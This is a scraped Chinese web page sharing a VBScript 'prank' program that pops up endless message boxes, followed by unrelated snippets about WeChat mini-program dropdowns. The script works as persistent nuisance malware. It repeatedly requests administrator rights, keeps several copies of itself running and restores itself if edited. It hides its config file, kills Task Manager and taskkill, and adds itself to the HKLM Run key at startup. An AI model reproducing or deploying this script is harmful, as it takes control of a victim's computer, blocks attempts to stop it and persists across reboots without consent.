弹窗php整人_[整人小程序] 超级信息框(无限弹窗++)
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
'貌似刚才缩进空格被吞了,再发一次
Set FSO = createobject("scripting.filesystemobject")
Set ws = Createobject("Wscript.shell")
Set SA = CreateObject("Shell.Application")
If Wscript.Arguments.Count = 0 Then
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " msg","","runas",1
Wscript.Quit
ElseIf Wscript.Arguments(0) = "autorun" Then
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " running","","runas",1
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " uac","","runas",1
Wscript.Quit
End If
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Call QuitIfRunningTooMuch()
SelfFolderPath = FSO.GetFile(Wscript.ScriptFullName).ParentFolder.Path
If Right(SelfFolderPath,1) <> "\" Then
SelfFolderPath = SelfFolderPath & "\"
End If
ConfigPath = SelfFolderPath & "WindowMSGSaver.ini"
SelfScriptPath = Wscript.ScriptFullName
Self = FSO.OpenTextFile(SelfScriptPath).ReadAll
If Wscript.Arguments(0) = "msg" Then
MainMSG = InputBox ("请输入主信息:","整人-超级信息框","Message---SuperMessageBox")
If IsEmpty(MainMSG) Then
WScript.Quit
End If
WinTitle = InputBox ("请输入窗口标题:","整人-超级信息框","SuperMessageBox")
If IsEmpty(WinTitle) Then
WScript.Quit
End If
Call SaveConfig()
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " uac","","runas",1
Else
Set SelfFile = FSO.OpenTextFile(ConfigPath)
MainMSG = SelfFile.ReadLine
WinTitle = SelfFile.ReadLine
Set SelfFile = Nothing
End If
Do
If Wscript.Arguments(0) = "msg" Or Wscript.Arguments(0) = "running" Then
MsgBox MainMSG,64+4096,WinTitle
Else
Call ExecIfRunningTooFew()
Call SaveSelfScript()
Call SaveConfig()
Call TerminateProcess("taskkill.exe")
Call TerminateProcess("taskmgr.exe")
Call AddRun()
End If
Loop
Function ExecIfRunningTooFew()
On Error Resume Next
Set Processes = objWMIService.ExecQuery("Select * from Win32_Process where Name = 'Wscript.exe'",,48)
ntr_uac = 0
ntr_**** = 0
For Each Process In Processes
If Process.CommandLine = """" & Wscript.FullName & """ """ & Wscript.ScriptFullName & """ uac" Then
ntr_uac = ntr_uac + 1
End If
If Process.CommandLine = """" & Wscript.FullName & """ """ & Wscript.ScriptFullName & """ msg" Then
ntr_**** = ntr_**** + 1
End If
If Process.CommandLine = """" & Wscript.FullName & """ """ & Wscript.ScriptFullName & """ running" Then
ntr_**** = ntr_**** + 1
End If
Next
If ntr_uac
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " uac","","runas",1
Call MessageBox("Process Protection is on",48+4096,"SuperMessageBox")
End If
If ntr_****
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " running","","runas",1
Call MessageBox("Process Protection is on",48+4096,"SuperMessageBox")
End If
End Function
Function QuitIfRunningTooMuch()
On Error Resume Next
Set VBSProcesses = objWMIService.ExecQuery("Select * from Win32_Process where Name = 'Wscript.exe'",,48)
ntr = 0
For Each VBSProcess in VBSProcesses
If InStr(1,VBSProcess.CommandLine,Wscript.ScriptFullName) = Len(Wscript.FullName) + 5 Then
ntr = ntr + 1
If ntr > 3 Then
Wscript.Quit
End If
End If
Next
End Function
Function SaveConfig()
On Error Resume Next
Write = False
CorrectContent = MainMSG & Chr(13) & Chr(10) & WinTitle & Chr(13) & Chr(10)
If Not FSO.FileExists(ConfigPath) Then
Write = True
ElseIf FSO.OpenTextFile(ConfigPath).ReadAll <> CorrectContent Then
Write = True
End If
If Write Then
FSO.GetFile(ConfigPath).Attributes = 0
FSO.GetFile(ConfigPath).Delete
FSO.CreateTextFile(ConfigPath,True).Write CorrectContent
End If
FSO.GetFile(ConfigPath).Attributes = 7
End Function
Function SaveSelfScript()
On Error Resume Next
Write = False
If Not FSO.FileExists(SelfScriptPath) Then
Write = True
ElseIf FSO.OpenTextFile(SelfScriptPath).ReadAll <> Self Then
Write = True
End If
If Write Then
FSO.GetFile(SelfScriptPath).Attributes = 0
FSO.GetFile(SelfScriptPath).Delete
FSO.CreateTextFile(SelfScriptPath,True).Write Self
End If
End Function
Function TerminateProcess(ProcessName)
On Error Resume Next
Set Processes = objWMIService.ExecQuery("Select * from Win32_Process where Name = '" & ProcessName & "'",,48)
For Each Process In Processes
Process.Terminate
Call MessageBox("[" & ProcessName & "] is disabled",16+4096,"SuperMessageBox")
Next
End Function
Function AddRun()
On Error Resume Next
Past = ""
CorrectRegContent = "Wscript.exe """ & Wscript.ScriptFullName & """ autorun"
RunRegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SuperMessageBox"
Past = ws.RegRead(RunRegPath)
If Past <> CorrectRegContent Then
ws.RegWrite RunRegPath,CorrectRegContent
End If
End Function
Function MessageBox(Content,Icon,Title)
On Error Resume Next
Content = Replace(Content,Chr(13),""" & Chr(13) & """)
Content = Replace(Content,Chr(10),""" & Chr(10) & """)
FilePath = SelfFolderPath & CreateRandomizedText(5) & ".vbs"
FileContent = "CreateObject(""Scripting.FileSystemObject"").DeleteFile Wscript.ScriptFullName" & Chr(13) & Chr(10) & "Msgbox """ & Content & """," & CStr(Icon) & ",""" & Title & """"
FSO.CreateTextFile(FilePath,True).Write FileContent
ws.Run """" & FilePath & """"
End Function
Function CreateRandomizedText(Length)
On Error Resume Next
Final = ""
letters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
LLength = Len(letters)
For i=1 To LLength
Randomize
rdnum = Int(85 * Rnd) + 1
Final = Final & Mid(letters,rdnum,1)
Next
CreateRandomizedText = Final
End Function
弹窗php整人_[整人小程序] 超级信息框(无限弹窗++)相关推荐
- 微信小程序下拉框插件_微信小程序下拉框组件使用方法详解
本文实例为大家分享了微信小程序下拉框组件的使用方法,供大家参考,具体内容如下 适用场景 1.省市三级联动 2.出生日期选择 3.性别选择 4.一般性的下拉选择等 一.省市三级联动使用 注意mode = ...
- 下拉多选框 微信小程序_微信小程序下拉框组件使用方法详解
本文实例为大家分享了微信小程序下拉框组件的使用方法,供大家参考,具体内容如下 适用场景 1.省市三级联动 2.出生日期选择 3.性别选择 4.一般性的下拉选择等 一.省市三级联动使用 注意mode = ...
- 下拉多选框 微信小程序_微信小程序下拉框功能的实例代码
微信小程序组件里没有下拉框,正好要用到,记下来以后参考 wxml代码 选择接收班级 {{grade_name}} {{item}} wxss代码 /* 顶部 */ .top{ width: 100vw ...
- 下拉多选框 微信小程序_微信小程序下拉框组件使用方法
这篇文章主要为大家详细介绍了微信小程序下拉框组件的使用方法,写的十分的全面细致,具有一定的参考价值,对此有需要的朋友可以参考学习下.如有不足之处,欢迎批评指正.[推荐教程:小程序开发教程] 适用场景 ...
- 小程序picker标题_微信小程序实现自定义picker选择器弹窗内容
微信小程序中定义好的几种picker选择器,不管是日期选择器还是地区选择器,或是其他的都有定死的样式和内容. 例如: 但是大多数开发程序的情况下还是需要自己写样式的,或是内容的. 例如: wxml 选 ...
- 小程序 实名信息_微信小程序+商城信息管理系统
下载地址长期有效 微信商城信息管理系统(java后台+小程序) 使用方法 >温馨提示 java后台信息管理系统 微信商城小程序 >使用方法 加小编微信进行咨询 >实现功能 一:会员管 ...
- 恶搞小程序:鼠标不受控制+无限弹窗
第一个恶搞小程序,效果可以让鼠标不受控制,并且无限打开命令窗口 #include<windows.h> #include<stdio.h> #include<stdlib ...
- 商户后台返回数据签名错误_微信小程序 用户信息开放数据校验与解密
服务端获取开放数据 小程序可以通过各种前端接口获取微信提供的开放数据.考虑到开发者服务端也需要获取这些开放数据,微信提供了两种获取方式: 方式一:开发者后台校验与解密开放数据 方式二:云调用直接获取开 ...
- 小程序 const moment = require('moment')_开源小程序精选
我最近在做二人对战模式答题,体验了不少小程序,找到一个开源的,现推荐给大家 小程序代码地址 微信小程序云开发实现的单词PK小程序,支持好友对战.随机匹配.人机模式,完整代码 ~ UI可以披靡市场上所有 ...
最新文章
- OPENFIRE支持EMOJI
- 戴尔存储副总裁谈戴尔-EqualLogic一周年庆
- visual C++如何查看汇编代码
- CALL FOR DUTY 来和我们一起冒险吧!
- pthread 简要使用指南
- 201542010208、201571030331软件工程结对项目
- f(x)=sinx的求导过程
- 基于Python的FreeCAD二次开发
- Android Studio 错误记录:If you already have a 64-bit JDK installed ,defined a JAVA_HOME variable..
- ORACLE--面试知识点
- 棋牌游戏算法——麻将系列总结
- ubuntu20.04 firefox flashplayer 安装教程
- 信息系统分析与设计 第十章 系统总体设计
- 用c语言求20以内的勾股数,C语言求勾股数代码及解析
- Could not load org.apache.hadoop.hive.conf.HiveConf. Make sure HIVE_CONF_DIR is set correctly.
- 7款必须下载的PC端软件,必看
- 图像算法工程师岗位的主要职责(合集)
- QT6在线安装下载速度慢的解决办法,QT6,QT5.15.1,QT5.15.0及旧版本都支持
- IntelliJ IDEA全界面汉化(官方插件)
- 无需注册账号从官网下载VMware Workstation